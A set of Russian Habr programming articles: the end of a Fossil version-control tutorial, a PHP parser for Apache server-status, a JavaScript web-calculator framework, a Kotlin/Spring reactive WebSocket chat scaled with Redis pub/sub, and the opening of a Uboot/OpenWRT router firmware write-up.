Каждый элемент в репозитории Fossil — и версии файлов, и tickets, и wiki-страницы и пр. — имеют уникальный идентификатор, 40-значный хэш, вычисленный по SHA-1. Поскольку вводить все 40 знаков в команде не очень удобно, можно ограничиться несколькими ( не менее 4 ) первыми его знаками. Итак, первый способ идентификации версии файла — начальный фрагмент хэша. Другой способ — дата и время создания файла записанное в одном из форматов: YYYY-MM-DD, YYYY-MM-DD HH:MM, YYYY-MM-DD HH:MM:SS. Подробнее смотрите [здесь](http://www.fossil-scm.org/index.html/doc/tip/www/checkin_names.wiki).
```
fossil diff source\wall\brick.c
fossil diff --from VERSION1 --to VERSION2 source\wall\brick.c
fossil diff --from previous --to current source\wall\brick.c
```
Выводим в консоль разницу (diff) между разными версиями указанного файла. Здесь VERSION1 и VERSION2 — идентификаторы версий, в соответствии с описанием, приведенным чуть выше — к команде *fossil finfo*. Если они не указаны, то выводится разница между последней версией из репозитория и файлом в рабочем каталоге. Если установлен Tcl/Tk ( он обычно стоит в Linux-системах, но есть порт и для Windows ), то можно воспользоваться опцией *-tk* — в этом случае для показа отличий будут использованы встроеннные графические средства, основанные на Tcl/Tk. Если у вас есть GUI программа для графического представления разницы между текстовыми файлами ( я в Windows использую examdiff.exe ), то можно предварительно установить ее в качестве значения параметра Fossil *diff-command* с помощью web-интерфейса или команды *fossil settings diff-command* — тогда эта программа будет вызываться при выполнении *fossil diff*.
```
fossil gdiff
```
То же, что *fossil diff*, только для вывода отличий используется программа, прописанная как значение параметра Fossil *gdiff-command*.
```
fossil tag add TAGNAME VERSION
fossil tag cancel TAGNAME VERSION
```
Добавляем (*add*) или убираем (*cancel*) метку (tag) указанной версии репозитория. Эту метку можно рассматривать как алиас идентификатора версии и использовать в соответствующих командах вместо идентификатора, желательно с префиксом tag:. Обычно метки ставят на наиболее значимые, этапные версии проекта.
```
fossil revert
fossil revert source\wall\brick.c
fossil revert -r VERSION source\wall\brick.c
```
Возвращаем в рабочий каталог заданную версию файла ( или все файлы, если имя файла не указано ). Если версия (*-r VERSION*) не указана, то берется последняя — та, что попала в репозиторий во время последнего *commit*. Идентификатор версии указывается в соответствии с правилами, описанными выше ( к команде *fossil finfo* ).
```
fossil undo
```
Отменяем изменения в рабочем каталоге, сделанные командой *revert*, *merge* или *update* ( две последние мы будем рассматривать позже, во второй части ).
**Ну и, конечно, help — как же без нее:**
```
fossil help
fossil help add
```
*Help* без аргументов выводит список команд, а с названием команды в качестве аргумента ( например, *add*, как в примере ) — описание этой команды.
Не могу удержаться, чтобы не рассказать еще об одной команде — *fossil all*. Она производит указанное действие со всеми открытыми репозиториями:
```
fossil all list
fossil all changes
fossil all extras
fossil all pull
fossil all push
fossil all sync
```
*list* — выводит список репозиториев, *changes* — список измененных файлов во всех репозиториях и т.д.
**Web-интерфейс, tickets, wiki**
Я уже упоминал о web-интерфейсе Fossil, запускаемом командой *fossil ui*, когда рассказывал о настройке репозитория. Выглядит это примерно так:
Кроме просмотра и изменения настроек (Admin) здесь можно посмотреть историю проекта (Timeline), список файлов (Files) и каждый файл в отдельности, структуру веток проекта (Branches), метки (Tags), поработать с Bug Tracking системой (Tickets) и с Wiki — документацией.
Просматривая историю (Timeline), вы можете выбрать любую версию, щелкнув по ее идентификатору ( хэш-код в квадратных скобках ), а там — посмотреть спиок файлов на тот момент, список измененных файлов, отличия от предыдущей версии для каждого файла ( щелкнув по [diff] ), можете скачать zip- или tar- архив этой версии, отредактировать ее представление в истории, в т.ч. подкрасить, и т.д.
Хотел бы вкратце остановиться еще на использовании Tickets и Wiki. Tickets — в данном случае это слово, наверное, будет правильно перевести как «карточки» — способ реализации системы отслеживания ошибок, Bug Tracking, хотя эти карточки, вообще говоря, можно использовать не только для сообщений об ошибках, но и для планирования работы над проектом. Итак, выбираем Tickets, далее — New ticket и заполняем карточку — краткое содержание, тип, номер версии, к которой относится эта запись, степень критичности, email и подробное описание, в котором можно использовать wiki-разметку, а значит, ссылаться на любые объекты в репозитории по их идентификатору — другие карточки, wiki-страницы, версии файлов. Кстати, эта возможность использования идентификаторов как ссылок представляется мне очень ценной, поскольку она повышает связность информации в репозитории, способствует максимальной интеграции всех частей проекта. Будучи введенным, Ticket появляется и в списке All tickets, и в Timeline. Его теперь можно открыть, добавить дополнительные замечания, наложить резолюцию ( fixed, rejected, Unable\_To\_Reproduce, Works\_As\_Designed, и др. ). Если ticket закрыт, то при *commit* соответствующего исправления желательно указать в квадратных скобках идентификатор этой карточки, тогда в истории версий в соответствующей строчке будет ссылка на ticket.
Перед тем, как начать пользоваться Wiki, желательно указать название проекта, если это еще не сделано: Admin / Configuration — заполняем поле Project Name и жмем кнопку Apply Changes. Выбираем Wiki, жмем на Castle project home page ( мы назвали проект Castle ) и редактируем эту страницу. Правила используемой wiki-разметки смотрим в Formatting Rules. Пользуемся Preview Your Changes, для сохранения жмем Apply These Changes. Если все нормально, то созданный текст должен появиться на главной странице (Home) под строчкой меню. Напомню, что изменения в wiki-страницах фиксируются системой контроля версий и появляются в Timeline.
Помимо обычных именованных Fossil позволяет создавать wiki-страницы, привязанные ко времени, они называтся events (события) и появляются в Timeline. Создать такое событие можно, выбрав Wiki и, далее, Create a new event. Вводим время, к которому привязываем событие, Timeline Comment — строчку для Timeline, выбираем цвет и редактируем Page Content — т.е., собственно, содержимое страницы. В документации Fossil рекомендуется использовать events как
* Вехи проекта (Milestones) — например, основные релизы
* Записи в блоге разработчиков, описывающие текущее состояние проекта, дорожные карты дальнейшего развития
* Контрольные точки проекта
* Новости, имеющие отношение к проекту
* Объявления.
**Заключение**
Итак, в первой части обзора было рассмотрено использование Fossil в однопользовательском режиме на одном рабочем месте. Мы научились создавать репозиторий,
```
fossil new c:\fossil\castle.fossil
```
открывать, настраивать и пополнять его,
```
c:
cd \projects\castle
fossil open c:\fossil\castle.fossil
fossil settings crnl-glob '*'
fossil settings encoding-glob '*'
fossil settings ignore-glob '*.o,*.obj,*.exe,*.bak,*.log'
fossil add source
fossil commit -m "Initial commit"
```
использовать консольные команды и web-интерфейс Fossil в работе над проектом.
В следующей части будем переносить репозиторий на другое рабочее место, чтобы, например, использовать его на работе и дома, и изучим работу в многопользовательском режиме. | https://habr.com/ru/post/235369/ | null | ru | null |
# sspp (Server Status PHP Parser)
sspp маленький парсер написанный на php для сортировки и анализа server-status
Наверное многим известно о существовании замечательного модуля апача [mod\_status](http://httpd.apache.org/docs/2.0/mod/mod_status.html).
Включается он очень просто, в httpd.conf нужно добавить:
`ExtendedStatus On
SetHandler server-status
Order deny,allow
Deny from all
Allow from 127.0.0.1`
По запросу [localhost/server-status](http://localhost/server-status) можно будет увидеть текущие запросы вебсервера.
И это конечно очень здорово. Но мне всегда недоставало сортировки в результирующей таблице, так например приходилось бегло глазами искать часто повторяющиеся запросы.
А это утомляло и расстраивало.
Я долго вынашивал в планах парсер который сможет делать то, что мне так нужно в работе. И вот друзья, я его написал и с радостью хочу поделиться им.
Встречайте **SSPP** ( [скачать](http://sspp.googlecode.com/files/sspp_0.4.php))
Возможности:* Сортировка таблицы по любому полю
* Анализ самых частых запросов, ip-адресов, сайтов
* Возможность парсинга кастом урл хэндлера (например /whm-server-status)
* Возможность запуска на локальном компьютере (для разгрузки сервера)
Буду рад, хорошим советам, а если вы сможете улучшить php код (я совсем плохо знаю php), буду безгранично счастлив %) | https://habr.com/ru/post/44857/ | null | ru | null |
# Реактивный масштабируемый чат на Kotlin + Spring + WebSockets
Содержание
----------
1. Конфигурация проекта
1. Логгер
2. Домен
3. Маппер
2. Настройка Spring Security
3. Конфигурация веб-сокетов
4. Архитектура решения
5. Реализация
1. Интеграция с Redis
2. Импелементация сервиса
6. Заключение
Предисловие
-----------
В данном туториале будет рассмотрено создание масштабируемого приложения, подключение и общение с котором происходит по веб-сокетам. Рассмотрим и мужественно преодолеем проблему передачи сообщений между инстансами с помощью месседж брокера. В качестве месседж брокера будет использован Redis.
### Конфигурация проекта
#### Начнём с самого важного, конфигурации логгера!
Конфигурация логгера состоит из того, что нам нужно создать prototype bean, который будет конфигурировать логгер для класса, в которой этот бин инжектится.
```
@Configuration
class LoggingConfig {
@Bean
@Scope("prototype")
fun logger(injectionPoint: InjectionPoint): Logger {
return LoggerFactory.getLogger(
injectionPoint.methodParameter?.containingClass
?: injectionPoint.field?.declaringClass
)
}
}
```
Теперь, чтобы получить сконфигурированный логгер, нам достаточно внедрить его.
```
@Component
class ChatWebSocketHandlerService(
private val logger: Logger
)
```
#### Далее создадим доменку и сконфигурируем маппер для неё
Класс чата содержит базовую информацию, включая участников чата.
```
data class Chat(
val chatId: UUID,
val chatMembers: List,
@JsonSerialize(using = LocalDateTimeSerializer::class)
@JsonDeserialize(using = LocalDateTimeDeserializer::class)
val createdDate: LocalDateTime,
var lastMessage: CommonMessage?
)
```
Класс ChatMember описывает участника чата. Из интересного тут - это флаг deletedChat. Его назначение - убрать чат из выборки списка чатов для пользователя с userId.
```
data class ChatMember(
val userId: UUID,
var fullName: String,
var avatar: String,
var deletedChat: Boolean
)
```
Ниже представлен базовый класс для всех сообщений в чате. Аннотация **@JsonTypeInfo** тут нужна для того, чтобы классам-наследникам при заворачивании в JSON проставлялось поле **@type** с указанием типа сообщения, а при разворачивании были проставлены поля базового класса.
```
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, include = JsonTypeInfo.As.PROPERTY)
open class CommonMessage(
val messageId: UUID,
val chatId: UUID,
val sender: ChatMember,
@field:JsonSerialize(using = LocalDateTimeSerializer::class) @field:JsonDeserialize(using = LocalDateTimeDeserializer::class)
val messageDate: LocalDateTime,
var seen: Boolean
)
```
Пример конкретного класса сообщения **TextMessage** - текстового сообщения
```
class TextMessage(
messageId: UUID,
chatId: UUID,
sender: ChatMember,
var content: String,
messageDate: LocalDateTime,
seen: Boolean
) : CommonMessage(messageId, chatId, sender, messageDate, seen)
```
Сконфигурируем **ObjectMapper**
В registerSubtypes добавляются классы-наследники, которые будут сериализоваться и десериализоваться в JSON. Это необходимо для того, чтобы после десериализации определить тип конкретный тип и передать на обработку в нужный метод
```
@Configuration
class ObjectMapperConfig {
@Bean
fun objectMapper(): ObjectMapper = ObjectMapper()
.registerModule(JavaTimeModule())
.registerModule(Jdk8Module())
.registerModule(ParameterNamesModule())
.registerModule(KotlinModule())
.disable(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS)
.apply {
registerSubtypes(
NamedType(NewMessageEvent::class.java, "NewMessageEvent"),
NamedType(MarkMessageAsRead::class.java, "MarkMessageAsRead"),
NamedType(TextMessage::class.java, "TextMessage"),
NamedType(ImageMessage::class.java, "ImageMessage")
)
}
}
```
Конфигурация Spring Security
----------------------------
Для начала нам понадобится ReactiveAuthenticationManager и SecurityContextRepository. Для аутентификации будем использовать JWT, поэтому создаем класс JwtAuthenticationManager со следующим содержанием:
```
@Component
class JwtAuthenticationManager(val jwtUtil: JwtUtil) : ReactiveAuthenticationManager {
override fun authenticate(authentication: Authentication): Mono {
val token = authentication.credentials.toString()
val validateToken = jwtUtil.validateToken(token)
var username: String?
try {
username = jwtUtil.extractUsername(token)
} catch (e: Exception) {
username = null
println(e)
}
return if (username != null && validateToken) {
val claims = jwtUtil.getClaimsFromToken(token)
val role: List = claims["roles"] as List
val authorities = role.stream()
.map { role: String? -> SimpleGrantedAuthority(role) }
.collect(Collectors.toList())
val authenticationToken = UsernamePasswordAuthenticationToken(
username,
null,
authorities
)
authenticationToken.details = claims
Mono.just(authenticationToken)
} else {
Mono.empty()
}
}
}
```
Чтобы везде, где необходимо, иметь возможность извлечь информацию из seucirty context, заносим claims в details токена (строка 25).
Для извлечения токена из запроса создаем класс SecurityContextRepository. Извлекать токен будем двумя способами:
1. Заголовок Authorization: Bearer ${JWT\_TOKEN}
2. GET параметр ?access\_token=${JWT\_TOKEN}
```
@Component
class SecurityContextRepository(val authenticationManager: ReactiveAuthenticationManager) : ServerSecurityContextRepository {
override fun save(exchange: ServerWebExchange, context: SecurityContext): Mono {
return Mono.error { IllegalStateException("Save method not supported") }
}
override fun load(exchange: ServerWebExchange): Mono {
val authHeader = exchange.request
.headers
.getFirst(HttpHeaders.AUTHORIZATION)
val accessToken: String = if (authHeader != null && authHeader.startsWith("Bearer ")) {
authHeader.substring(7)
} else exchange.request
.queryParams
.getFirst("access\_token") ?: return Mono.empty()
val auth = UsernamePasswordAuthenticationToken(accessToken, accessToken)
return authenticationManager
.authenticate(auth)
.map { authentication: Authentication -> SecurityContextImpl(authentication) }
}
}
```
Теперь имея два необходимых класса мы можем сконфигурировать сам Spring Security.
```
@EnableWebFluxSecurity
@EnableReactiveMethodSecurity
class SecurityConfig(
val reactiveAuthenticationManager: ReactiveAuthenticationManager,
val securityContextRepository: SecurityContextRepository
) {
@Bean
fun securityWebFilterChain(httpSecurity: ServerHttpSecurity): SecurityWebFilterChain {
return httpSecurity
.exceptionHandling()
.authenticationEntryPoint { swe: ServerWebExchange, e: AuthenticationException ->
Mono.fromRunnable { swe.response.statusCode = HttpStatus.UNAUTHORIZED }
}
.accessDeniedHandler { swe: ServerWebExchange, e: AccessDeniedException ->
Mono.fromRunnable { swe.response.statusCode = HttpStatus.FORBIDDEN }
}
.and()
.csrf().disable()
.cors().disable()
.formLogin().disable()
.httpBasic().disable()
.authenticationManager(reactiveAuthenticationManager)
.securityContextRepository(securityContextRepository)
.authorizeExchange()
.pathMatchers("/actuator/**").permitAll()
.pathMatchers(HttpMethod.GET, "/ws/**").hasAuthority("ROLE_USER")
.anyExchange().authenticated()
.and()
.build()
}
}
```
Здесь из интересного: конфигурация позволяет подключиться по путям начинающимся с /ws только аутентифицированным пользователям, у которых есть роль ROLE\_USER.
С конфигурацией Security закончили, теперь необходимо сконфигурировать подключение по сокетам.
Конфигурация веб-сокетов
------------------------
В первую очередь нам необходимо задать маппинг между запросом и обработчиком. Чтобы добавить обработчик сокетов по определенному адресу, мы делаем следующее:
1. Создаем мапу, где ключ - uri, а значение - обработчик. В этом конкретном случае WebSocketHandler.
2. Создаем обработчик для ранее определенного маппинга и cors.
```
@Configuration
class ReactiveWebSocketConfig {
@Bean
fun webSocketHandlerMapping(chatWebSocketHandler: ChatWebSocketHandler): HandlerMapping {
val map: MutableMap = HashMap()
map["/ws/chat"] = chatWebSocketHandler
val handlerMapping = SimpleUrlHandlerMapping()
handlerMapping.setCorsConfigurations(Collections.singletonMap("\*", CorsConfiguration().applyPermitDefaultValues()))
handlerMapping.order = 1
handlerMapping.urlMap = map
return handlerMapping
}
@Bean
fun handlerAdapter(): WebSocketHandlerAdapter {
return WebSocketHandlerAdapter()
}
}
```
Здесь в качестве обработчика для uri /ws/chat указываем chatWebSocketHandler, его вид представлен ниже, имплементацией займемся позднее. Этот класс реализует интерфейс WebSocketHandler, содержащий один метод handle(session: WebSocketSession): Mono
```
@Component
class ChatWebSocketHandler : WebSocketHandler {
override fun handle(session: WebSocketSession): Mono {
TODO("Not yet implemented")
}
}
```
С базовой конфигурацией закончили.
Поговорим об архитектуре решения
--------------------------------
На данным момент наш чат нельзя масштабировать. Так как подключение по веб-сокету дуплексное и, установив соединение с одним инстансом, все запросы по этому сокету будут направляться на этот инстанс, так при запуске двух и более инстансов у нас не будет доступа до всех имеющихся сессий. Становится возможной ситуация, когда собеседники из одного чата подключены к разным инстансам и нет возможности сразу отправить сообщение по сокетам всем участникам. Для решения необходим Message Broker, который будет получать на вход сообщение для определенного чата и рассылать его на все инстансы. Инстансы посмотрят на сообщение, возьмут информацию об участниках чата из БД, и будут искать этих участников среди своих подключенных пользователей.
Представим, что участники одного чата User 1 и User 2 подключены к разным инстансам чата. User 1 подключен к Chat-Instance-0, а User 2 к Chat-Instance-1. Тогда, когда User 1 отправит сообщение в Chat-Instance-0 (зеленая пунктирная линия), это сообщение попадёт в чат и будет отправлено в Message broker, оттуда разослано по всем инстансам. Chat-Instance-1 получит это сообщение и увидит, что у него есть User 2, который относится к этому чату и ему необходимо отправить это сообщение.
Реализация
----------
Теперь займемся имплементацией нашего обработчика ChatWebSocketHandler
Нам понадобится мапа userId => session, для того, чтобы хранить открытые сессии и иметь возможность достать их по userId. Для поддержки одновременной работы с несколькими сессиями из под одного userId интерфейс мапы будет следующим: MutableMap>.
Добавлять в мапу запись мы будем при подписке на стрим session.receive, а подчищать будем в doFinally.
В методе getReceiverStream создается стрим-обработчик сообщений, пришедших от клиента. Мы получаем payload как строку и преобразуем его к базовому WebSocketEvent, после чего в зависимости от типа event'a передаем его на обработку в слой сервисов.
В методе getSenderStream происходит конфигурация стрима, который занимается отправкой сообщений по сокету клиенту
```
@Component
class ChatWebSocketHandler(
val objectMapper: ObjectMapper,
val logger: Logger,
val chatService: ChatService,
val objectStringConverter: ObjectStringConverter,
val sinkWrapper: SinkWrapper
) : WebSocketHandler {
private val userIdToSession: MutableMap> = ConcurrentHashMap()
override fun handle(session: WebSocketSession): Mono {
return ReactiveSecurityContextHolder.getContext()
.flatMap { ctx ->
val userId = UUID.fromString((ctx.authentication.details as Claims)["id"].toString())
val sender = getSenderStream(session, userId)
val receiver = getReceiverStream(session, userId)
return@flatMap Mono.zip(sender, receiver).then()
}
}
private fun getReceiverStream(session: WebSocketSession, userId: UUID): Mono {
return session.receive()
.filter { it.type == WebSocketMessage.Type.TEXT }
.map(WebSocketMessage::getPayloadAsText)
.flatMap {
objectStringConverter.stringToObject(it, WebSocketEvent::class.java)
}
.flatMap { convertedEvent ->
when (convertedEvent) {
is NewMessageEvent -> chatService.handleNewMessageEvent(userId, convertedEvent)
is MarkMessageAsRead -> chatService.markPreviousMessagesAsRead(convertedEvent.messageId)
else -> Mono.error(RuntimeException())
}
}
.onErrorContinue { t, \_ -> logger.error("Error occurred with receiver stream", t) }
.doOnSubscribe {
val userSession = userIdToSession[userId]
if (userSession == null) {
val newUserSessions = LinkedList()
userIdToSession[userId] = newUserSessions
}
userIdToSession[userId]?.add(session)
}
.doFinally {
val userSessions = userIdToSession[userId]
userSessions?.remove(session)
}
.then()
}
private fun getSenderStream(session: WebSocketSession, userId: UUID): Mono {
val sendMessage = sinkWrapper.sinks.asFlux()
.filter { sendTo -> sendTo.userId == userId }
.map { sendTo -> objectMapper.writeValueAsString(sendTo.event) }
.map { stringObject -> session.textMessage(stringObject) }
.doOnError { logger.error("", it) }
return session.send(sendMessage)
}
}
```
Для того чтобы писать в websocket нам необходимо создать поток данных, в который мы сможем добавлять данные. С reactora 3.4 для этого рекомендуется использовать Sinks.Many. Создадим такой поток в классе SinkWrapper.
```
@Component
class SinkWrapper {
val sinks: Sinks.Many = Sinks.many().multicast().onBackpressureBuffer()
}
```
Теперь, отправив данные в этот поток, они будут обработаны в потоке, сформированном в getSenderStream.
### Интеграция с Redis
У Redis есть PUB/SUB модель общения, которая прекрасно решает задачу транслирования сообщений между инстансами.
Итак, для приготовления данного блюда нам понадобится:
1. RedisChatMessageListener - подписка на топики и перенаправление сообщение в слой сервисов
2. RedisChatMessagePublisher - публикация сообщений в топики
3. RedisConfig - конфигурация редиса
4. RedisListenerStarter - старт листенеров при старте инстанса
Реализация:
RedisConfig стандартный, ничего особенного
```
@Configuration
class RedisConfig {
@Bean
fun reactiveRedisConnectionFactory(redisProperties: RedisProperties): ReactiveRedisConnectionFactory {
val redisStandaloneConfiguration = RedisStandaloneConfiguration(redisProperties.host, redisProperties.port)
redisStandaloneConfiguration.setPassword(redisProperties.password)
return LettuceConnectionFactory(redisStandaloneConfiguration)
}
@Bean
fun template(reactiveRedisConnectionFactory: ReactiveRedisConnectionFactory): ReactiveStringRedisTemplate {
return ReactiveStringRedisTemplate(reactiveRedisConnectionFactory)
}
}
```
#### RedisChatMessageListener
Здесь мы создаем подписку на топик по имени базового класса (обычно название топиков выносят в проперти). Получив сообщение из канала преобразуем его в объект (строка 13) и дальше передаем в sendMessage, который достанет участников чата и попробует разослать им это сообщение, если таковы имеются среди подключенных к инстансу.
```
@Component
class RedisChatMessageListener(
private val logger: Logger,
private val reactiveStringRedisTemplate: ReactiveStringRedisTemplate,
private val objectStringConverter: ObjectStringConverter,
private val chatService: ChatService
) {
fun subscribeOnCommonMessageTopic(): Mono {
return reactiveStringRedisTemplate.listenTo(PatternTopic(CommonMessage::class.java.name))
.map { message -> message.message }
.doOnNext { logger.info("Receive new message: $it") }
.flatMap { objectStringConverter.stringToObject(it, CommonMessage::class.java) }
.flatMap { message ->
when (message) {
is TextMessage -> chatService.sendMessage(message)
is ImageMessage -> chatService.sendMessage(message)
else -> Mono.error(RuntimeException())
}
}
.then()
}
}
```
#### RedisChatMessagePublisher
Паблишер имеет один метод для транслирования CommonMessage на все инстансы. Объект сообщения приводится к строке и публикуется в топик по имени базового класса.
```
@Component
class RedisChatMessagePublisher(
val logger: Logger,
val reactiveStringRedisTemplate: ReactiveStringRedisTemplate,
val objectStringConverter: ObjectStringConverter
) {
fun broadcastMessage(commonMessage: CommonMessage): Mono {
return objectStringConverter.objectToString(commonMessage)
.flatMap {
logger.info("Broadcast message $it to channel ${CommonMessage::class.java.name}")
reactiveStringRedisTemplate.convertAndSend(CommonMessage::class.java.name, it)
}
.then()
}
}
```
#### RedisListenerStarter
В этом классе стартуются все листенеры из **RedisChatMessageListener**. В нашем случае - единственный листенер **subscribeOnCommonMessageTopic**
```
@Component
class RedisListenerStarter(
val logger: Logger,
val redisChatMessageListener: RedisChatMessageListener
) {
@Bean
fun newMessageEventChannelListenerStarter(): ApplicationRunner {
return ApplicationRunner { args: ApplicationArguments ->
redisChatMessageListener.subscribeOnCommonMessageTopic()
.doOnSubscribe { logger.info("Start NewMessageEvent channel listener") }
.onErrorContinue { throwable, _ -> logger.error("Error occurred while listening NewMessageEvent channel", throwable) }
.subscribe()
}
}
}
```
### Импелементация сервиса
Упрощенная реализация, без сохранения сообщений в БД с замоканным chatRepository. В виду того, что статья выходит и так больше, чем я рассчитывал.
Метод **handleNewMessageEvent** вызывается из **WebSocketHandler** и получает на вход **userId** отправителя и **NewMessageEvent** - простое текстовое сообщение. В методе происходит проверка на то, что отправитель действительно является участником чата и дальше это сообщение транслируется между инстансами.
```
@Service
class DefaultChatService(
val logger: Logger,
val sinkWrapper: SinkWrapper,
val chatRepository: ChatRepository,
val redisChatPublisher: RedisChatMessagePublisher
) : ChatService {
override fun handleNewMessageEvent(senderId: UUID, newMessageEvent: NewMessageEvent): Mono {
logger.info("Receive NewMessageEvent from $senderId: $newMessageEvent")
return chatRepository.findById(newMessageEvent.chatId)
.filter { it.chatMembers.map(ChatMember::userId).contains(senderId) }
.flatMap { chat ->
val textMessage = TextMessage(UUID.randomUUID(), chat.chatId, chat.chatMembers.first { it.userId == senderId }, newMessageEvent.content, LocalDateTime.now(), false)
chat.lastMessage = textMessage
return@flatMap Mono.zip(chatRepository.save(chat), Mono.just(textMessage))
}
.flatMap { broadcastMessage(it.t2) }
}
/\*\*
\* Broadcast the message between instances
\*/
override fun broadcastMessage(commonMessage: CommonMessage): Mono {
return redisChatPublisher.broadcastMessage(commonMessage)
}
/\*\*
\* Send the message to all of chatMembers of message chat direct
\*/
override fun sendMessage(message: CommonMessage): Mono {
return chatRepository.findById(message.chatId)
.map { it.chatMembers }
.flatMapMany { Flux.fromIterable(it) }
.flatMap { member -> sendEventToUserId(member.userId, ChatMessageEvent(message.chatId, message)) }
.then()
}
override fun sendEventToUserId(userId: UUID, webSocketEvent: WebSocketEvent): Mono {
return Mono.fromCallable { sinkWrapper.sinks.emitNext(SendTo(userId, webSocketEvent), Sinks.EmitFailureHandler.FAIL\_FAST) }
.then()
}
}
```
Заключение
----------
В качестве дальнейших доработок можно произвести разделение получаемых и отправляемых ивентов на отдельные классы. Также в месте, где происходит получение сообщения по сокетам от клиента, его приведение к WebSocketEvent и передача в обработчик, можно попробовать избавиться от хардкодного маппинка event => handler. Пока не думал, как это можно сделать красивее, но уверен, что решение есть.
[Проект на GitHub](https://github.com/bogatikov/reactive-chat) | https://habr.com/ru/post/552234/ | null | ru | null |
# JavaScript-фреймворк для создания веб-калькуляторов
<р>На днях мне понадобилось сделать веб-калькулятор. Это был не первый калькулятор, который я писал, и воспоминания о кодировании на JavaScript логики вычислений, каждый раз заново, вовсе не прибавляли энтузиазма. Очевидно, с этим нужно было что-то сделать, отделив логику вычислений, свою на каждом сайте, от кода и алгоритма самого калькулятора («посмотреть выбранное пользователем значение — вычислить сколько это стоит»).
<р>Первое, что приходит на ум в таких случаях, это использование стандартных массивов или объектов. Но такой подход черезчур тяжеловесный. Намного удобнее было бы использовать хэши, но их поддержка в JavaScript очень ограничена. Позтому я решил применить библиотеку [Prototype](http://www.prototypejs.org/), в которой есть праьтически полноценный [класс Hash](http://www.prototypejs.org/api/hash), и описывать логику работы калькулятора и поля формы хэшем *calculations*. Это позволило сделать код калькулятора достаточно простым (хотя я тут вижу широкое поле для рефакторинга) и расширяемым.
`var calculations = new Hash({})
function calcPrice() {
var f = document.forms['calculator']
var price = 0
calculations.each(function(pair) {
if(f[pair.key] == null){
alert(pair.key)
}
if(pair.value['fieldtype'] == 'counter' && f[pair.key].value.match(/^\d+$/)){
price += f[pair.key].value * pair.value['price']
}
if(pair.value['fieldtype'] == 'radio'){
val = getRadioValue(f[pair.key])
} else {
val = f[pair.key].value
}
if(pair.value['fieldtype'] == 'radio' || pair.value['fieldtype'] == 'select'){
if(val != 0){
price += pair.value['prices'][val]
}
}
})
$('pricevalue').innerHTML = price + ' руб.'
}`
<р>Для получения значений радиокнопок используется вспомогательная функция **getRadioValue**.
`function getRadioValue(radio) {
for(i = 0; i < radio.length; i++){
if(radio[i].checked)
return radio[i].value
}
return 0;
}`
<р>Ключами хэша *calculations* являются имена полей формы, значениями — хэши с правилами вычисления цены по данному полю. Каждое правило содержит ключ fieldtype, указывающий на тип поля, а также другие ключи, описывающие, как обрабатывать поле (в моем случае price и prices). Такая архитектура позволяет при необходимости легко наращивать функциональность и сложность калькулятора, не переписывая созданный ранее код. Я использовал три типа полей.
<р>Кроме того, правила в хэше *calculations* могут модифицироваться динамически, например, при AJAX-загрузке частей формы.
Поле counter
------------
<р>Текстовое или иное поле, в котором указывается количество; сумма рассчитывается умножением введенного пользователей количества на значение ключа price.
`calculations['units'] = $H({ fieldtype:'counter', price:5.50 })`
Поле select
-----------
Выбор списка из нескольких элементов. У каждого элемента есть свой алфавитно-цифровой идентификатор и определенная стоимость. Зависимость идентификатор—цена задается хэшем в ключе prices правила.
`calculations("color") = $H({ fieldtype:'select', prices:$H({white:20.95,red:49.55}) })
белое
красное`
Поле radio
----------
Аналогично полю select за исключением того, что для выбора используются радиокнопки.
`calculations("color") = $H({ fieldtype:'radio', prices:$H({white:20.95,red:49.55}) })
белое
красное` | https://habr.com/ru/post/13285/ | null | ru | null |
# Автономный LTE роутер своими руками | Часть 3 – Uboot & OpenWRT
Привет, Хабр! Эта статья посвящена программной части собственного роутера, сегодня будем: допиливать OpenSource, терять месяц жизни впустую, разбираться с модемом, раскрывать секреты OpenWRT’варения для нового устройства и трогать I2C устройства за их регистры.
Статья является логическим продолжением прошлых частей. Поэтому, если вы не хотите терять нить повествования и не видели прошлые – начните сначала с них, а затем можете продолжить: [[1](https://habr.com/ru/post/698224/)], [[2](https://habr.com/ru/company/adminvps/blog/700154/)], [3]
И ещё один момент.. Автор подразумевает что вы знакомы с Uboot и OpenWRT. Хотя бы поверхностно, сделано это намеренно, дабы не раздувать статью по объёму объяснениями что такое uci, ubus, etc. Статья получилась длинной, поэтому наливайте что вам по душе. И приятного прочтения!
Глава 0. Uboot
--------------
Загрузчик неотъемлемая часть любого более-менее сложного устройства. Помимо своей прямой обязанности – загрузка системы, он ещё и спасает устройство от превращения в «тыкву», которой поможет только программатор.
Выбранный мной SoM HLK-7688, имеет несколько аппаратных ревизий (на момент написания статьи известно о двух, ниже по тексту просто «модуль 1.2» и «модуль 1.3») и судя по всему – они имеют отличия, хотя и прямых подтверждений этому нет.
«Причём тут загрузчик?» — Дело в том, что китайцы поставляют модули 1.3 с форком [Uboot от GnuBee](https://github.com/gnubee-git/GnuBee-MT76x8-uboot). И если собрать его, прошить в модуль 1.2, то мы неожиданно получим ту самую «тыкву», не подающую признаки жизни. Именно по этой причине мне пришлось отказаться от модуля 1.2, который пожертвовал Павел и использовать модуль 1.3 приехавший чуть позже.
С вводными разобрались: модуль 1.3 и Uboot от GnuBee, теперь можно переходить к процессу допила. В теории я мог оставить стоковый китайский загрузчик, но мне не понравилось, что меню загрузки имеет следующий вид:
Скриншот из телеграм чатика посвящённому этим SoMДавайте по порядку, что мне не понравилось:
1. Неактуальные пункты меню – кто-то ещё пользуется загрузкой через kermit или грузит систему в RAM, а не ROM?
2. Очень логично что загрузка система идёт не нулевой по списку \*сарказм\*
3. А где прошивка через USB? Загрузчик то умеет
4. Отладочная информация, да полезно, но только разработчикам что её вывод и делали
Глава 1. Uboot и кротовые норы
------------------------------
Однако стоило только мне взяться за причёсывание вышеописанного, как начинал замечать «особенности», если их можно так назвать.
 А — АскетичностьПеред вами стоковый menuconfig, в котором можно выбрать SoC, RAM, параметры тактирования, параметры Ethernet порта и… Всё! Ну т.е. серьёзно, больше ничего нельзя выбрать. Ни параметром UART, ни возможности сконфигурировать внешний вид меню. Кто хоть раз собирал нормальный Uboot поймут моё недоумение.
На логичный вопрос «А где-же тогда всё остальное?» - отвечаю, спряталось в rt2880.h
А остальное будьте добры искать сами)Найдя все интересующие определения, параллельно немного разобравшись в коде получилось это:
Ещё в ходе анализа кода, я пробегался глазами по разным репозиториям, в т.ч. и [загрузчика Onion Omega2](https://github.com/OnionIoT/omega2-bootloader/). Понравился местный вариант веб-флешера:
